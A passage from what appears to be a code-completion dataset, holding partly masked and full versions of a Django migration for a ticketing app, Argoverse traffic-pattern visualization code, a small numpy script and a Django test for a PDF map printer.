models.ForeignKey(on_delete=django.db.models.deletion.CASCADE,\n related_name='tasks', to='users.Employee'))]), migrations.\n CreateModel(name='Comment', fields=[('id', models.AutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), ('text', models.TextField()), ('ticket', models.ForeignKey(\n on_delete=django.db.models.deletion.CASCADE, related_name=\n 'comments', to='core.Ticket')), ('user', models.ForeignKey(\n on_delete=django.db.models.deletion.CASCADE, related_name=\n 'comments', to=settings.AUTH_USER_MODEL))]), migrations.CreateModel\n (name='Attachment', fields=[('id', models.AutoField(auto_created=\n True, primary_key=True, serialize=False, verbose_name='ID')), (\n 'name', models.CharField(max_length=255)), ('file', models.\n FileField(upload_to='')), ('ticket', models.ForeignKey(on_delete=\n django.db.models.deletion.CASCADE, related_name='attachments', to=\n 'core.Ticket'))])]\n", "step-4": "from django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport mptt.fields\n\n\nclass Migration(migrations.Migration):\n initial = True\n dependencies = [migrations.swappable_dependency(settings.\n AUTH_USER_MODEL), ('users', '0002_customer_employee_lead_manager')]\n operations = [migrations.CreateModel(name='Product', fields=[('id',\n models.AutoField(auto_created=True, primary_key=True, serialize=\n False, verbose_name='ID')), ('name', models.CharField(max_length=\n 255, unique=True)), ('lft', models.PositiveIntegerField(editable=\n False)), ('rght', models.PositiveIntegerField(editable=False)), (\n 'tree_id', models.PositiveIntegerField(db_index=True, editable=\n False)), ('level', models.PositiveIntegerField(editable=False)), (\n 'parent', mptt.fields.TreeForeignKey(blank=True, null=True,\n on_delete=django.db.models.deletion.CASCADE, related_name=\n 'children', to='core.Product'))], options={'abstract': False}),\n migrations.CreateModel(name='Ticket', fields=[('id', models.\n AutoField(auto_created=True, primary_key=True, serialize=False,\n verbose_name='ID')), ('name', models.CharField(max_length=255)), (\n 'description', models.CharField(max_length=255)), ('state', models.\n CharField(max_length=255)), ('created', models.DateTimeField()), (\n 'product', models.ForeignKey(on_delete=django.db.models.deletion.\n CASCADE, related_name='tickets', to='core.Product'))]), migrations.\n CreateModel(name='Task', fields=[('id', models.AutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), ('description', models.CharField(max_length=255)), ('state',\n models.CharField(max_length=255)), ('estimated', models.\n DateTimeField()), ('reported', models.DateTimeField()), ('employee',\n models.ForeignKey(on_delete=django.db.models.deletion.CASCADE,\n related_name='tasks', to='users.Employee'))]), migrations.\n CreateModel(name='Comment', fields=[('id', models.AutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name=\n 'ID')), ('text', models.TextField()), ('ticket', models.ForeignKey(\n on_delete=django.db.models.deletion.CASCADE, related_name=\n 'comments', to='core.Ticket')), ('user', models.ForeignKey(\n on_delete=django.db.models.deletion.CASCADE, related_name=\n 'comments', to=settings.AUTH_USER_MODEL))]), migrations.CreateModel\n (name='Attachment', fields=[('id', models.AutoField(auto_created=\n True, primary_key=True, serialize=False, verbose_name='ID')), (\n 'name', models.CharField(max_length=255)), ('file', models.\n FileField(upload_to='')), ('ticket', models.ForeignKey(on_delete=\n django.db.models.deletion.CASCADE, related_name='attachments', to=\n 'core.Ticket'))])]\n", "step-5": "# Generated by Django 2.2.5 on 2019-10-09 12:06\n\nfrom django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport mptt.fields\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ('users', '0002_customer_employee_lead_manager'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Product',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=255, unique=True)),\n ('lft', models.PositiveIntegerField(editable=False)),\n ('rght', models.PositiveIntegerField(editable=False)),\n ('tree_id', models.PositiveIntegerField(db_index=True, editable=False)),\n ('level', models.PositiveIntegerField(editable=False)),\n ('parent', mptt.fields.TreeForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='children', to='core.Product')),\n ],\n options={\n 'abstract': False,\n },\n ),\n migrations.CreateModel(\n name='Ticket',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=255)),\n ('description', models.CharField(max_length=255)),\n ('state', models.CharField(max_length=255)),\n ('created', models.DateTimeField()),\n ('product', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='tickets', to='core.Product')),\n ],\n ),\n migrations.CreateModel(\n name='Task',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('description', models.CharField(max_length=255)),\n ('state', models.CharField(max_length=255)),\n ('estimated', models.DateTimeField()),\n ('reported', models.DateTimeField()),\n ('employee', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='tasks', to='users.Employee')),\n ],\n ),\n migrations.CreateModel(\n name='Comment',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('text', models.TextField()),\n ('ticket', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='comments', to='core.Ticket')),\n ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='comments', to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='Attachment',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=255)),\n ('file', models.FileField(upload_to='')),\n ('ticket', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='attachments', to='core.Ticket')),\n ],\n ),\n ]\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
#!usr/bin/env python3 from argoverse.map_representation.map_api import ArgoverseMap from frame import Frame import matplotlib.pyplot as plt import pickle import numpy as np from argo import draw_local_map # Frames in cluster visualization def frame_in_pattern_vis(xmin, xmax, ymin, ymax): dataset = 'ARGO' if dataset == 'NGSIM': with open("data_sample/a_mixture_model_NGSIM_200", "rb") as mix_np: # load saved mixture model mix_model = pickle.load(mix_np) with open("data_sample/frame_US_101_200", "rb") as frame_np: # load saved frames load_frames = pickle.load(frame_np) print('everything loaded') # visualize frames from the same pattern pattern_num = np.argmax(np.array(mix_model.partition)) pattern_idx = idx = np.where(np.array(mix_model.z) == pattern_num) pattern_idx = np.asarray(pattern_idx) pattern_idx = pattern_idx[0].astype(int) plt.ion() for i in range(mix_model.partition[pattern_num]): # the on road is much more stable, however the off road ones are quite noisy plt.cla() frame_temp = load_frames[pattern_idx[i]] plt.quiver(frame_temp.x, frame_temp.y, frame_temp.vx, frame_temp.vy) plt.xlim([0, 60]) plt.ylim([1300, 1600]) plt.show() plt.pause(0.05) plt.ioff() elif dataset == 'ARGO': with open("data_sample/argo_MixtureModel_%d_%d_%d_%d" % (xmin, xmax, ymin, ymax), "rb") as mix_np: # load saved mixture model mix_model = pickle.load(mix_np) with open("data_sample/argo_%d_%d_%d_%d" % (xmin, xmax, ymin, ymax), "rb") as frame_np: # load saved frames load_frames = pickle.load(frame_np) print('everything loaded') # visualize frames from the same pattern for i in range(mix_model.K): # pattern_num = np.argmax(np.array(mix_model.partition)) pattern_num = i pattern_idx = idx = np.where(np.array(mix_model.z) == pattern_num) pattern_idx = np.asarray(pattern_idx) pattern_idx = pattern_idx[0].astype(int) fig = plt.figure(figsize=(10, 10)) ax = fig.add_subplot(111) avm = ArgoverseMap() city_name = 'PIT' rate = np.array(mix_model.partition)[pattern_num] / mix_model.n plt.ion() for i in range(mix_model.partition[pattern_num]): # the on road is much more stable, however the off road ones are quite noisy plt.cla() frame_temp = load_frames[pattern_idx[i]] draw_local_map(avm, city_name, xmin, xmax, ymin, ymax, ax) plt.quiver(frame_temp.x, frame_temp.y, frame_temp.vx, frame_temp.vy, color='#ED5107') plt.xlim([xmin, xmax]) plt.ylim([ymin, ymax]) name = 'PIT_%d_%d_%d_%d_' % (xmin, xmax, ymin, ymax) + str(pattern_num) + '_' + str(round(rate, 3)) plt.title(name) plt.show() plt.pause(0.05) plt.ioff() # velocity field visualization def velocity_field_visualization(xmin, xmax, ymin, ymax): with open("data_sample/argo_MixtureModel_%d_%d_%d_%d" % (xmin, xmax, ymin, ymax), "rb") as mix_np: # load saved mixture model mix_model = pickle.load(mix_np) with open("data_sample/argo_%d_%d_%d_%d" % (xmin, xmax, ymin, ymax), "rb") as frame_np: # load saved frames load_frames = pickle.load(frame_np) print('everything loaded') # visualize frames from the same pattern # for i in range(mix_model.K): for i in range(1): pattern_num = i pattern_num = np.argmax(np.array(mix_model.partition)) rate = np.array(mix_model.partition)[i]/mix_model.n frame_pattern_ink = mix_model.frame_ink(pattern_num, 0, True) # construct mesh frame x = np.linspace(xmin, xmax, 31) y = np.linspace(ymin, ymax, 31) [WX,WY] = np.meshgrid(x, y) WX = np.reshape(WX, (-1, 1)) WY = np.reshape(WY, (-1, 1)) frame_field = Frame(WX.ravel(), WY.ravel(), np.zeros(len(WX)), np.zeros(len(WX))) #get posterior ux_pos, uy_pos, covx_pos, covy_pos = mix_model.b[pattern_num].GP_posterior(frame_field, frame_pattern_ink, True) print('now start plotting') fig = plt.figure(figsize=(10, 10)) ax = fig.add_subplot(111) avm = ArgoverseMap() city_name = 'PIT' plt.quiver(WX, WY, ux_pos, uy_pos, width=0.002, color='#ED5107') draw_local_map(avm, city_name, xmin, xmax, ymin, ymax, ax) plt.xlabel('x_map_coordinate') plt.ylabel('y_map_coordinate') name = 'PIT_%d_%d_%d_%d_' % (xmin, xmax, ymin, ymax) +str(pattern_num) + '_' + str(round(rate, 3)) print(name) plt.title(name) plt.savefig('fig/'+name + '.png') plt.close() plt.show() # Note that it doesn't have to show the return WX, WY, ux_pos, uy_pos # dataset = 'ARGO' # vis_vel_field = True # # if vis_vel_field: # WX, WY, ux_pos, uy_pos = velocity_field_visualization(2570, 2600, 1180, 1210) # else: # frame_in_pattern_vis(dataset) # # print('Visualization Finished')
normal
{ "blob_id": "1284de6474e460f0d95f5c76d066b948bce59228", "index": 5575, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef velocity_field_visualization(xmin, xmax, ymin, ymax):\n with open('data_sample/argo_MixtureModel_%d_%d_%d_%d' % (xmin, xmax,\n ymin, ymax), 'rb') as mix_np:\n mix_model = pickle.load(mix_np)\n with open('data_sample/argo_%d_%d_%d_%d' % (xmin, xmax, ymin, ymax), 'rb'\n ) as frame_np:\n load_frames = pickle.load(frame_np)\n print('everything loaded')\n for i in range(1):\n pattern_num = i\n pattern_num = np.argmax(np.array(mix_model.partition))\n rate = np.array(mix_model.partition)[i] / mix_model.n\n frame_pattern_ink = mix_model.frame_ink(pattern_num, 0, True)\n x = np.linspace(xmin, xmax, 31)\n y = np.linspace(ymin, ymax, 31)\n [WX, WY] = np.meshgrid(x, y)\n WX = np.reshape(WX, (-1, 1))\n WY = np.reshape(WY, (-1, 1))\n frame_field = Frame(WX.ravel(), WY.ravel(), np.zeros(len(WX)), np.\n zeros(len(WX)))\n ux_pos, uy_pos, covx_pos, covy_pos = mix_model.b[pattern_num\n ].GP_posterior(frame_field, frame_pattern_ink, True)\n print('now start plotting')\n fig = plt.figure(figsize=(10, 10))\n ax = fig.add_subplot(111)\n avm = ArgoverseMap()\n city_name = 'PIT'\n plt.quiver(WX, WY, ux_pos, uy_pos, width=0.002, color='#ED5107')\n draw_local_map(avm, city_name, xmin, xmax, ymin, ymax, ax)\n plt.xlabel('x_map_coordinate')\n plt.ylabel('y_map_coordinate')\n name = 'PIT_%d_%d_%d_%d_' % (xmin, xmax, ymin, ymax) + str(pattern_num\n ) + '_' + str(round(rate, 3))\n print(name)\n plt.title(name)\n plt.savefig('fig/' + name + '.png')\n plt.close()\n plt.show()\n return WX, WY, ux_pos, uy_pos\n", "step-3": "<mask token>\n\n\ndef frame_in_pattern_vis(xmin, xmax, ymin, ymax):\n dataset = 'ARGO'\n if dataset == 'NGSIM':\n with open('data_sample/a_mixture_model_NGSIM_200', 'rb') as mix_np:\n mix_model = pickle.load(mix_np)\n with open('data_sample/frame_US_101_200', 'rb') as frame_np:\n load_frames = pickle.load(frame_np)\n print('everything loaded')\n pattern_num = np.argmax(np.array(mix_model.partition))\n pattern_idx = idx = np.where(np.array(mix_model.z) == pattern_num)\n pattern_idx = np.asarray(pattern_idx)\n pattern_idx = pattern_idx[0].astype(int)\n plt.ion()\n for i in range(mix_model.partition[pattern_num]):\n plt.cla()\n frame_temp = load_frames[pattern_idx[i]]\n plt.quiver(frame_temp.x, frame_temp.y, frame_temp.vx, frame_temp.vy\n )\n plt.xlim([0, 60])\n plt.ylim([1300, 1600])\n plt.show()\n plt.pause(0.05)\n plt.ioff()\n elif dataset == 'ARGO':\n with open('data_sample/argo_MixtureModel_%d_%d_%d_%d' % (xmin, xmax,\n ymin, ymax), 'rb') as mix_np:\n mix_model = pickle.load(mix_np)\n with open('data_sample/argo_%d_%d_%d_%d' % (xmin, xmax, ymin, ymax),\n 'rb') as frame_np:\n load_frames = pickle.load(frame_np)\n print('everything loaded')\n for i in range(mix_model.K):\n pattern_num = i\n pattern_idx = idx = np.where(np.array(mix_model.z) == pattern_num)\n pattern_idx = np.asarray(pattern_idx)\n pattern_idx = pattern_idx[0].astype(int)\n fig = plt.figure(figsize=(10, 10))\n ax = fig.add_subplot(111)\n avm = ArgoverseMap()\n city_name = 'PIT'\n rate = np.array(mix_model.partition)[pattern_num] / mix_model.n\n plt.ion()\n for i in range(mix_model.partition[pattern_num]):\n plt.cla()\n frame_temp = load_frames[pattern_idx[i]]\n draw_local_map(avm, city_name, xmin, xmax, ymin, ymax, ax)\n plt.quiver(frame_temp.x, frame_temp.y, frame_temp.vx,\n frame_temp.vy, color='#ED5107')\n plt.xlim([xmin, xmax])\n plt.ylim([ymin, ymax])\n name = 'PIT_%d_%d_%d_%d_' % (xmin, xmax, ymin, ymax) + str(\n pattern_num) + '_' + str(round(rate, 3))\n plt.title(name)\n plt.show()\n plt.pause(0.05)\n plt.ioff()\n\n\ndef velocity_field_visualization(xmin, xmax, ymin, ymax):\n with open('data_sample/argo_MixtureModel_%d_%d_%d_%d' % (xmin, xmax,\n ymin, ymax), 'rb') as mix_np:\n mix_model = pickle.load(mix_np)\n with open('data_sample/argo_%d_%d_%d_%d' % (xmin, xmax, ymin, ymax), 'rb'\n ) as frame_np:\n load_frames = pickle.load(frame_np)\n print('everything loaded')\n for i in range(1):\n pattern_num = i\n pattern_num = np.argmax(np.array(mix_model.partition))\n rate = np.array(mix_model.partition)[i] / mix_model.n\n frame_pattern_ink = mix_model.frame_ink(pattern_num, 0, True)\n x = np.linspace(xmin, xmax, 31)\n y = np.linspace(ymin, ymax, 31)\n [WX, WY] = np.meshgrid(x, y)\n WX = np.reshape(WX, (-1, 1))\n WY = np.reshape(WY, (-1, 1))\n frame_field = Frame(WX.ravel(), WY.ravel(), np.zeros(len(WX)), np.\n zeros(len(WX)))\n ux_pos, uy_pos, covx_pos, covy_pos = mix_model.b[pattern_num\n ].GP_posterior(frame_field, frame_pattern_ink, True)\n print('now start plotting')\n fig = plt.figure(figsize=(10, 10))\n ax = fig.add_subplot(111)\n avm = ArgoverseMap()\n city_name = 'PIT'\n plt.quiver(WX, WY, ux_pos, uy_pos, width=0.002, color='#ED5107')\n draw_local_map(avm, city_name, xmin, xmax, ymin, ymax, ax)\n plt.xlabel('x_map_coordinate')\n plt.ylabel('y_map_coordinate')\n name = 'PIT_%d_%d_%d_%d_' % (xmin, xmax, ymin, ymax) + str(pattern_num\n ) + '_' + str(round(rate, 3))\n print(name)\n plt.title(name)\n plt.savefig('fig/' + name + '.png')\n plt.close()\n plt.show()\n return WX, WY, ux_pos, uy_pos\n", "step-4": "from argoverse.map_representation.map_api import ArgoverseMap\nfrom frame import Frame\nimport matplotlib.pyplot as plt\nimport pickle\nimport numpy as np\nfrom argo import draw_local_map\n\n\ndef frame_in_pattern_vis(xmin, xmax, ymin, ymax):\n dataset = 'ARGO'\n if dataset == 'NGSIM':\n with open('data_sample/a_mixture_model_NGSIM_200', 'rb') as mix_np:\n mix_model = pickle.load(mix_np)\n with open('data_sample/frame_US_101_200', 'rb') as frame_np:\n load_frames = pickle.load(frame_np)\n print('everything loaded')\n pattern_num = np.argmax(np.array(mix_model.partition))\n pattern_idx = idx = np.where(np.array(mix_model.z) == pattern_num)\n pattern_idx = np.asarray(pattern_idx)\n pattern_idx = pattern_idx[0].astype(int)\n plt.ion()\n for i in range(mix_model.partition[pattern_num]):\n plt.cla()\n frame_temp = load_frames[pattern_idx[i]]\n plt.quiver(frame_temp.x, frame_temp.y, frame_temp.vx, frame_temp.vy\n )\n plt.xlim([0, 60])\n plt.ylim([1300, 1600])\n plt.show()\n plt.pause(0.05)\n plt.ioff()\n elif dataset == 'ARGO':\n with open('data_sample/argo_MixtureModel_%d_%d_%d_%d' % (xmin, xmax,\n ymin, ymax), 'rb') as mix_np:\n mix_model = pickle.load(mix_np)\n with open('data_sample/argo_%d_%d_%d_%d' % (xmin, xmax, ymin, ymax),\n 'rb') as frame_np:\n load_frames = pickle.load(frame_np)\n print('everything loaded')\n for i in range(mix_model.K):\n pattern_num = i\n pattern_idx = idx = np.where(np.array(mix_model.z) == pattern_num)\n pattern_idx = np.asarray(pattern_idx)\n pattern_idx = pattern_idx[0].astype(int)\n fig = plt.figure(figsize=(10, 10))\n ax = fig.add_subplot(111)\n avm = ArgoverseMap()\n city_name = 'PIT'\n rate = np.array(mix_model.partition)[pattern_num] / mix_model.n\n plt.ion()\n for i in range(mix_model.partition[pattern_num]):\n plt.cla()\n frame_temp = load_frames[pattern_idx[i]]\n draw_local_map(avm, city_name, xmin, xmax, ymin, ymax, ax)\n plt.quiver(frame_temp.x, frame_temp.y, frame_temp.vx,\n frame_temp.vy, color='#ED5107')\n plt.xlim([xmin, xmax])\n plt.ylim([ymin, ymax])\n name = 'PIT_%d_%d_%d_%d_' % (xmin, xmax, ymin, ymax) + str(\n pattern_num) + '_' + str(round(rate, 3))\n plt.title(name)\n plt.show()\n plt.pause(0.05)\n plt.ioff()\n\n\ndef velocity_field_visualization(xmin, xmax, ymin, ymax):\n with open('data_sample/argo_MixtureModel_%d_%d_%d_%d' % (xmin, xmax,\n ymin, ymax), 'rb') as mix_np:\n mix_model = pickle.load(mix_np)\n with open('data_sample/argo_%d_%d_%d_%d' % (xmin, xmax, ymin, ymax), 'rb'\n ) as frame_np:\n load_frames = pickle.load(frame_np)\n print('everything loaded')\n for i in range(1):\n pattern_num = i\n pattern_num = np.argmax(np.array(mix_model.partition))\n rate = np.array(mix_model.partition)[i] / mix_model.n\n frame_pattern_ink = mix_model.frame_ink(pattern_num, 0, True)\n x = np.linspace(xmin, xmax, 31)\n y = np.linspace(ymin, ymax, 31)\n [WX, WY] = np.meshgrid(x, y)\n WX = np.reshape(WX, (-1, 1))\n WY = np.reshape(WY, (-1, 1))\n frame_field = Frame(WX.ravel(), WY.ravel(), np.zeros(len(WX)), np.\n zeros(len(WX)))\n ux_pos, uy_pos, covx_pos, covy_pos = mix_model.b[pattern_num\n ].GP_posterior(frame_field, frame_pattern_ink, True)\n print('now start plotting')\n fig = plt.figure(figsize=(10, 10))\n ax = fig.add_subplot(111)\n avm = ArgoverseMap()\n city_name = 'PIT'\n plt.quiver(WX, WY, ux_pos, uy_pos, width=0.002, color='#ED5107')\n draw_local_map(avm, city_name, xmin, xmax, ymin, ymax, ax)\n plt.xlabel('x_map_coordinate')\n plt.ylabel('y_map_coordinate')\n name = 'PIT_%d_%d_%d_%d_' % (xmin, xmax, ymin, ymax) + str(pattern_num\n ) + '_' + str(round(rate, 3))\n print(name)\n plt.title(name)\n plt.savefig('fig/' + name + '.png')\n plt.close()\n plt.show()\n return WX, WY, ux_pos, uy_pos\n", "step-5": "#!usr/bin/env python3\n\nfrom argoverse.map_representation.map_api import ArgoverseMap\nfrom frame import Frame\nimport matplotlib.pyplot as plt\nimport pickle\nimport numpy as np\nfrom argo import draw_local_map\n\n\n# Frames in cluster visualization\ndef frame_in_pattern_vis(xmin, xmax, ymin, ymax):\n dataset = 'ARGO'\n if dataset == 'NGSIM':\n\n with open(\"data_sample/a_mixture_model_NGSIM_200\", \"rb\") as mix_np: # load saved mixture model\n mix_model = pickle.load(mix_np)\n\n with open(\"data_sample/frame_US_101_200\", \"rb\") as frame_np: # load saved frames\n load_frames = pickle.load(frame_np)\n\n print('everything loaded')\n # visualize frames from the same pattern\n pattern_num = np.argmax(np.array(mix_model.partition))\n pattern_idx = idx = np.where(np.array(mix_model.z) == pattern_num)\n pattern_idx = np.asarray(pattern_idx)\n pattern_idx = pattern_idx[0].astype(int)\n\n plt.ion()\n for i in range(mix_model.partition[pattern_num]):\n # the on road is much more stable, however the off road ones are quite noisy\n plt.cla()\n frame_temp = load_frames[pattern_idx[i]]\n plt.quiver(frame_temp.x, frame_temp.y, frame_temp.vx, frame_temp.vy)\n plt.xlim([0, 60])\n plt.ylim([1300, 1600])\n\n plt.show()\n plt.pause(0.05)\n\n plt.ioff()\n\n elif dataset == 'ARGO':\n\n with open(\"data_sample/argo_MixtureModel_%d_%d_%d_%d\" % (xmin, xmax, ymin, ymax),\n \"rb\") as mix_np: # load saved mixture model\n mix_model = pickle.load(mix_np)\n\n with open(\"data_sample/argo_%d_%d_%d_%d\" % (xmin, xmax, ymin, ymax), \"rb\") as frame_np: # load saved frames\n load_frames = pickle.load(frame_np)\n\n print('everything loaded')\n # visualize frames from the same pattern\n for i in range(mix_model.K):\n # pattern_num = np.argmax(np.array(mix_model.partition))\n pattern_num = i\n pattern_idx = idx = np.where(np.array(mix_model.z) == pattern_num)\n pattern_idx = np.asarray(pattern_idx)\n pattern_idx = pattern_idx[0].astype(int)\n fig = plt.figure(figsize=(10, 10))\n ax = fig.add_subplot(111)\n avm = ArgoverseMap()\n city_name = 'PIT'\n rate = np.array(mix_model.partition)[pattern_num] / mix_model.n\n\n plt.ion()\n for i in range(mix_model.partition[pattern_num]):\n # the on road is much more stable, however the off road ones are quite noisy\n plt.cla()\n frame_temp = load_frames[pattern_idx[i]]\n draw_local_map(avm, city_name, xmin, xmax, ymin, ymax, ax)\n plt.quiver(frame_temp.x, frame_temp.y, frame_temp.vx, frame_temp.vy, color='#ED5107')\n plt.xlim([xmin, xmax])\n plt.ylim([ymin, ymax])\n name = 'PIT_%d_%d_%d_%d_' % (xmin, xmax, ymin, ymax) + str(pattern_num) + '_' + str(round(rate, 3))\n plt.title(name)\n plt.show()\n plt.pause(0.05)\n\n plt.ioff()\n\n\n# velocity field visualization\ndef velocity_field_visualization(xmin, xmax, ymin, ymax):\n with open(\"data_sample/argo_MixtureModel_%d_%d_%d_%d\" % (xmin, xmax, ymin, ymax),\n \"rb\") as mix_np: # load saved mixture model\n mix_model = pickle.load(mix_np)\n\n with open(\"data_sample/argo_%d_%d_%d_%d\" % (xmin, xmax, ymin, ymax), \"rb\") as frame_np: # load saved frames\n load_frames = pickle.load(frame_np)\n\n print('everything loaded')\n # visualize frames from the same pattern\n\n # for i in range(mix_model.K):\n for i in range(1):\n pattern_num = i\n pattern_num = np.argmax(np.array(mix_model.partition))\n rate = np.array(mix_model.partition)[i]/mix_model.n\n frame_pattern_ink = mix_model.frame_ink(pattern_num, 0, True)\n # construct mesh frame\n x = np.linspace(xmin, xmax, 31)\n y = np.linspace(ymin, ymax, 31)\n [WX,WY] = np.meshgrid(x, y)\n WX = np.reshape(WX, (-1, 1))\n WY = np.reshape(WY, (-1, 1))\n frame_field = Frame(WX.ravel(), WY.ravel(), np.zeros(len(WX)), np.zeros(len(WX)))\n #get posterior\n ux_pos, uy_pos, covx_pos, covy_pos = mix_model.b[pattern_num].GP_posterior(frame_field, frame_pattern_ink, True)\n\n print('now start plotting')\n fig = plt.figure(figsize=(10, 10))\n ax = fig.add_subplot(111)\n avm = ArgoverseMap()\n city_name = 'PIT'\n plt.quiver(WX, WY, ux_pos, uy_pos, width=0.002, color='#ED5107')\n draw_local_map(avm, city_name, xmin, xmax, ymin, ymax, ax)\n plt.xlabel('x_map_coordinate')\n plt.ylabel('y_map_coordinate')\n name = 'PIT_%d_%d_%d_%d_' % (xmin, xmax, ymin, ymax) +str(pattern_num) + '_' + str(round(rate, 3))\n print(name)\n plt.title(name)\n plt.savefig('fig/'+name + '.png')\n plt.close()\n plt.show()\n\n # Note that it doesn't have to show the\n return WX, WY, ux_pos, uy_pos\n\n\n# dataset = 'ARGO'\n# vis_vel_field = True\n#\n# if vis_vel_field:\n# WX, WY, ux_pos, uy_pos = velocity_field_visualization(2570, 2600, 1180, 1210)\n# else:\n# frame_in_pattern_vis(dataset)\n#\n# print('Visualization Finished')", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
import numpy d1 = numpy.array([1.,0.,0.]) d2 = numpy.array([0.,1.,0.]) d3 = numpy.array([0.,0.,1.]) s0 = numpy.array([0.,0.,1.]) m2 = numpy.array([1.,0.,0.]) print "x y zeta" for x in xrange(-100, 101): for y in xrange(-100, 101): s = x*d1 + y*d2 + 100*d3 e1 = numpy.cross(s, s0) e1 /= numpy.linalg.norm(e1) zeta = abs(numpy.dot(e1, m2)) print x,y,zeta
normal
{ "blob_id": "3d16f2da03c067d410bec7bfe96d874322533d30", "index": 6693, "step-1": "import numpy\n\nd1 = numpy.array([1.,0.,0.])\nd2 = numpy.array([0.,1.,0.])\nd3 = numpy.array([0.,0.,1.])\ns0 = numpy.array([0.,0.,1.])\nm2 = numpy.array([1.,0.,0.])\n\nprint \"x y zeta\"\nfor x in xrange(-100, 101):\n for y in xrange(-100, 101):\n s = x*d1 + y*d2 + 100*d3\n e1 = numpy.cross(s, s0)\n e1 /= numpy.linalg.norm(e1)\n zeta = abs(numpy.dot(e1, m2))\n print x,y,zeta\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }
[ 0 ]
# -*- coding: utf-8 -*- from django.test import TestCase from ..printer import Printer class TestSunlumoProjectPrinter(TestCase): def test_printer(self): sl_prj = Printer('./sunlumo_mapserver/test_data/test_sunlumo.qgs') tmpFile = '/tmp/printtmp' sl_prj.printToPdf({ 'tmpFile': tmpFile, 'layout': 'test_layout', 'bbox': [-2, -2, 2, 2], 'layers': ['polygons', 'lines', 'points'], 'transparencies': [50, 0, 0] }) with open(tmpFile + '.pdf', 'rb') as pdfFile: # we just want to test if the PDF file in not blank data = pdfFile.read() self.assertEqual(len(data), 426652) def test_printer_missing_required_params(self): sl_prj = Printer('./sunlumo_mapserver/test_data/test_sunlumo.qgs') with self.assertRaises(RuntimeError): sl_prj.printToPdf({})
normal
{ "blob_id": "5e0cba6952cdc677c640a0df325426ffc89189cd", "index": 658, "step-1": "<mask token>\n\n\nclass TestSunlumoProjectPrinter(TestCase):\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass TestSunlumoProjectPrinter(TestCase):\n\n def test_printer(self):\n sl_prj = Printer('./sunlumo_mapserver/test_data/test_sunlumo.qgs')\n tmpFile = '/tmp/printtmp'\n sl_prj.printToPdf({'tmpFile': tmpFile, 'layout': 'test_layout',\n 'bbox': [-2, -2, 2, 2], 'layers': ['polygons', 'lines',\n 'points'], 'transparencies': [50, 0, 0]})\n with open(tmpFile + '.pdf', 'rb') as pdfFile:\n data = pdfFile.read()\n self.assertEqual(len(data), 426652)\n <mask token>\n", "step-3": "<mask token>\n\n\nclass TestSunlumoProjectPrinter(TestCase):\n\n def test_printer(self):\n sl_prj = Printer('./sunlumo_mapserver/test_data/test_sunlumo.qgs')\n tmpFile = '/tmp/printtmp'\n sl_prj.printToPdf({'tmpFile': tmpFile, 'layout': 'test_layout',\n 'bbox': [-2, -2, 2, 2], 'layers': ['polygons', 'lines',\n 'points'], 'transparencies': [50, 0, 0]})\n with open(tmpFile + '.pdf', 'rb') as pdfFile:\n data = pdfFile.read()\n self.assertEqual(len(data), 426652)\n\n def test_printer_missing_required_params(self):\n sl_prj = Printer('./sunlumo_mapserver/test_data/test_sunlumo.qgs')\n with self.assertRaises(RuntimeError):\n sl_prj.printToPdf({})\n", "step-4": "from django.test import TestCase\nfrom ..printer import Printer\n\n\nclass TestSunlumoProjectPrinter(TestCase):\n\n def test_printer(self):\n sl_prj = Printer('./sunlumo_mapserver/test_data/test_sunlumo.qgs')\n tmpFile = '/tmp/printtmp'\n sl_prj.printToPdf({'tmpFile': tmpFile, 'layout': 'test_layout',\n 'bbox': [-2, -2, 2, 2], 'layers': ['polygons', 'lines',\n 'points'], 'transparencies': [50, 0, 0]})\n with open(tmpFile + '.pdf', 'rb') as pdfFile:\n data = pdfFile.read()\n self.assertEqual(len(data), 426652)\n\n def test_printer_missing_required_params(self):\n sl_prj = Printer('./sunlumo_mapserver/test_data/test_sunlumo.qgs')\n with self.assertRaises(RuntimeError):\n sl_prj.printToPdf({})\n", "step-5": "# -*- coding: utf-8 -*-\n\nfrom django.test import TestCase\n\nfrom ..printer import Printer\n\n\nclass TestSunlumoProjectPrinter(TestCase):\n def test_printer(self):\n sl_prj = Printer('./sunlumo_mapserver/test_data/test_sunlumo.qgs')\n\n tmpFile = '/tmp/printtmp'\n sl_prj.printToPdf({\n 'tmpFile': tmpFile, 'layout': 'test_layout',\n 'bbox': [-2, -2, 2, 2], 'layers': ['polygons', 'lines', 'points'],\n 'transparencies': [50, 0, 0]\n })\n\n with open(tmpFile + '.pdf', 'rb') as pdfFile:\n # we just want to test if the PDF file in not blank\n data = pdfFile.read()\n self.assertEqual(len(data), 426652)\n\n def test_printer_missing_required_params(self):\n\n sl_prj = 